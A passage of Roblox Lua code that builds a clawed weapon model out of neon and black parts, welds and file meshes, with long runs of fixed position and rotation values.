678 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.858075142, -0.276378155, -0.49209857, 0.353552133, -0.866025269, 0.353555113, 0.707108736, -9.03335206e-07, -0.707104981, 0.612371027, 0.500000358, 0.61237365)) | |
679 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001)) | |
680 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
681 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142959999, -0.79026103, -0.577523232, 0, 0, 1, 0.0581610166, -0.998307228, 0, 0.998307228, 0.0581610166, 0)) | |
682 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.400000006, 1, 0.100000001)) | |
683 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
684 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.857914209, 0.258751988, -0.512362957, 0.353553236, -0.866025567, -0.353553236, -0.707106471, 3.09715034e-07, -0.707107246, 0.612372994, 0.499999791, -0.6123721)) | |
685 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.100000001)) | |
686 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003)) | |
687 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.508293927, 0.581420183, 0.355297565, -1, 0, 0, 0, -0.694275975, -0.719708979, 0, -0.719708979, 0.694275975)) | |
688 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1)) | |
689 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003)) | |
690 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, -0.605236769, -0.322324991, 1, 0, 0, 0, 0.719708979, -0.694275975, 0, 0.694275975, 0.719708979)) | |
691 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1)) | |
692 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.200000003)) | |
693 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.0117408261, -0.729162693, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101)) | |
694 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.208000004, 0.47299999, 0.47299999)) | |
695 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
696 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.123879015, -0.278857708, -0.00617899979, 0.965925336, -0.2588211, 0, 0.2588211, 0.965925336, 0, 0, 0, 1)) | |
697 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999)) | |
698 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.445813209, 0.210449979, 1.04200566)) | |
699 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.223450184, 0.0305250883, -0.00618699985, -0.25881803, 0.965926111, 0, -0.965926111, -0.25881803, 0, 0, 0, 1)) | |
700 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999)) | |
701 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
702 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.407537222, 0.0663063526, -0.00618699985, 0.707106352, -0.707107365, 0, 0.707107365, 0.707106352, 0, 0, 0, 1)) | |
703 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.821169853, 0.388499111, 1.00999999)) | |
704 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.664211631, 0.210449979, 1.04200566)) | |
705 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0544009209, 0.0101571083, -0.00617499975, 0.499998987, 0.866025984, 0, -0.866025984, 0.499998987, 0, 0, 0, 1)) | |
706 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999)) | |
707 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
708 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
709 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999)) | |
710 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
711 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1)) | |
712 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999)) | |
713 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566)) | |
714 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1)) | |
715 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999)) | |
716 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983)) | |
717 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101)) | |
718 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1)) | |
719 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
720 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
721 | CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999)) | |
722 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
723 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
724 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445)) | |
725 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725)) | |
726 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352)) | |
727 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
728 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
729 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
730 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445)) | |
731 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368)) | |
732 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0)) | |
733 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
734 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
735 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
736 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445)) | |
737 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954)) | |
738 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
739 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1)) | |
740 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566)) | |
741 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
742 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
743 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763)) | |
744 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
745 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
746 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566)) | |
747 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
748 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
749 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
750 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
751 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445)) | |
752 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566)) | |
753 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1)) | |
754 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
755 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725)) | |
756 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)) | |
757 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
758 | Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "Really black", "Part", Vector3.new(1, 1, 1)) | |
759 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0)) | |
760 | CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001)) | |
761 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368)) | |
762 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0)) | |
763 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1)) | |
764 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763)) | |
765 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
766 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
767 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954)) | |
768 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
769 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1)) | |
770 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
771 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
772 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445)) | |
773 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566)) | |
774 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
775 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1)) | |
776 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
777 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
778 | CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445)) | |
779 | ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009)) | |
780 | ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0)) | |
781 | CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788)) | |
782 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
783 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829)) | |
784 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788)) | |
785 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009)) | |
786 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
787 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788)) | |
788 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009)) | |
789 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0)) | |
790 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481)) | |
791 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837)) | |
792 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
793 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1)) | |
794 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009)) | |
795 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0)) | |
796 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481)) | |
797 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009)) | |
798 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0)) | |
799 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788)) | |
800 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009)) | |
801 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352)) | |
802 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788)) | |
803 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009)) | |
804 | PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0)) | |
805 | CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788)) | |
806 | MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003)) | |
807 | MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178)) | |
808 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
809 | ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852)) | |
810 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003)) | |
811 | Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1)) | |
812 | ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744)) | |
813 | CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003)) | |
814 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993)) | |
815 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982)) | |
816 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974)) | |
817 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694)) | |
818 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989)) | |
819 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667)) | |
820 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974)) | |
821 | PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974)) | |
822 | Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019)) | |
